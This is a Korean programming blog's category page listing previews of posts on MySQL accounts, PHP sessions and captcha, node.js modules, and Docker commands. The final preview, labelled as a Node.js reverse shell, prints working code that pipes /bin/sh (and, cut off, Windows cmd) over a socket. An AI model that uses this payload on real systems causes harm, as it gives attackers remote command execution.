728x90 ⚙️백엔드50 MySQL - 계정 생성 / DB 생성 권한 부여 계정 생성 create user '계정아이디'@localhost identified by '비밀번호'; 2022. 9. 14. MySQL - root 계정 비밀번호 초기화 명령어 sudo mysql -uroot -p 우선 수퍼 유저 권한으로 root 로그인 ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewPassword'; 출처: https://phoenixnap.com/kb/how-to-reset-mysql-root-password-windows-linux How to Change MySQL Root Password in Linux or Windows Learn How to Reset or Change MySQL Root Password in Linux or Windows. Forget the root userpassword for your MySQL database? Get started with this easy tutorial!.. 2022. 9. 9. PHP - 캡챠(Captcha) 구현 https://beautifulhill.tistory.com/m/4 PHP 만으로 간단한 CAPTCHA 이미지를 만들어보자 CAPTCHA((Completely Automated Public Turing test to tell Computers and Humans Apart)는 사용자가 실제 사람인지 컴퓨터 프로그램인지 구분하기 위해 사용되는 기술로 주로 회원가입이나 결제 시에 보게.. beautifulhill.tistory.com 2022. 8. 7. PHP - 세션(Session) 사용 출처: https://teserre.tistory.com/8 [PHP] php 세션(Session) 사용하기 목차 세션 시작 세션 변수 사용 세션 변수 해제 세션 변수 등록 확인 세션 id 변경 세션 종료 추가 1. 세션 유지시간 추가 2. 추가 보안설정 세션(Session)은 모든 정보가 사용자 측의 컴퓨터에 저장 teserre.tistory.com 2022. 6. 1. PHP - MySQL 접속 [prepared statement 방식] $dbserver = "localhost"; $dbuser = "username"; $dbpasswd = "userpasswd"; $dbname = "mydb"; $mysqli = new mysqli($dbserver, $dbuser, $dbpasswd, $dbname); if (mysqli_connect_errno()) { die("Connection failed: " . $conn->connect_error); } $sql = "select * from board where idx = ?"; $stmt = $__mysqli->stmt_init(); $stmt = $__mysqli->prepare($sql); $stmt->bind_param("ss", $use.. 2022. 6. 1. node.js - 모듈 파일 불러오기(exports) 다음과 같이 모듈 파일을 만들고 export 할 변수, 함수, 클래스들은 위와 같이 exports.{이름} = {변수|함수|클래스}로 지정해준다. require 함수를 통해서 외부의 js 파일을 불러와서 myModule이라는 변수에 대입을 해준다. 실행 결과를 확인하면 myModule 안에는 message라는 변수와 say 함수가 들어있는 것을 확인 가능 이제 각각의 변수와 함수를 사용하기 위해서는 myModule.message myModule.say() 요런식으로 점 뒤에 키워드를 적는다. 실행 결과 요약: [수출하기] var a = 123; exports.a = a; [수입하기] const myModule = require('module.js'); const a = myModule.a; 참고: htt.. 2022. 2. 8. node.js - 최신 버전으로 업데이트 하기 리눅스에서 "apt install npm"으로 node를 설치한 후 "node -v"로 버전을 확인하면 구버전인 것을 볼 수가 있다. 이를 최신 버전으로 업데이트 하고 싶을 경우 npm으로 n을 글로벌로 다운 받아준 다음 npm install -g n n lts(latest) 버전 node로 업데이트 시키기 n lts 2022. 1. 13. 도커 - 파일 전송하기 호스트 -> 도커 docker cp file.txt {컨테이너 이름}:/root/file.txt 도커 -> 호스트 docker cp {컨테이너 이름}:/root/file.txt file.txt 출처: https://shy-blg.tistory.com/entry/Docker%EB%8F%84%EC%BB%A4-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%97%90-%ED%8C%8C%EC%9D%BC-%EC%A0%84%EC%86%A1%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95 Docker(도커) 호스트(로컬)에서 컨테이너로, 컨테이너에서 로컬로 파일 전송하는 방법 도커에서 컨테이너로 파일을 전송하려고 한다면 docker cp 를 이용하자. 예를들어 리눅스 컨테이너.. 2022. 1. 13. 도커 - 포트포워딩을 통해 외부에서 접속하기 도커 네트워크 특성 때문에 이미 컨테이너화 된 컨테이너를 포트 포워딩을 시킬 수가 없다고 하다네요. 아무튼 이미 만들어진 컨테이너에 외부 접속을 가능하게 하려면, 컨테이너를 다시 이미지화시킨 다음에 최초로 run을 시킬 때에 포트 값을 주어야 합니다. 도커 commit 관련 포스팅: https://janger.tistory.com/178 도커 - 컨테이너를 이미지화 시키기(commit) 1. 실행중인 컨테이너 종료 docker stop {컨테이너 이름} 2. 이미지화할 컨테이너를 commit하기 docker commit {컨테이너 이름} {출력할 이름} 3. 이미지들 확인 docker images 4. 컨테이너 start docker start {.. janger.tistory.com 우선 실행 중인 컨.. 2022. 1. 13. 도커 - 컨테이너를 이미지화 시키기(commit) 1. 실행중인 컨테이너 종료 docker stop {컨테이너 이름} 2. 이미지화할 컨테이너를 commit하기 docker commit {컨테이너 이름} {출력할 이름} 3. 이미지들 확인 docker images 4. 컨테이너 start docker start {출력한 이미지 이름} 4. 컨테이너 고유 이름 확인하기 docker ps 6. 컨테이너 접속 docker exec -it {컨테이너 이름} /bin/bash 2022. 1. 13. 도커 - 컨테이너 종료하지 않고 cmd 나가기 CTRL + P CTRL + Q 를 순서대로 입력하면 됩니다. 2022. 1. 13. Node.js - 리버스쉘 [Linux] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5050, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); [Windows] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("C:\\Windows\\system32\\cm.. 2021. 12. 4. 이전 1 2 3 4 5 다음 728x90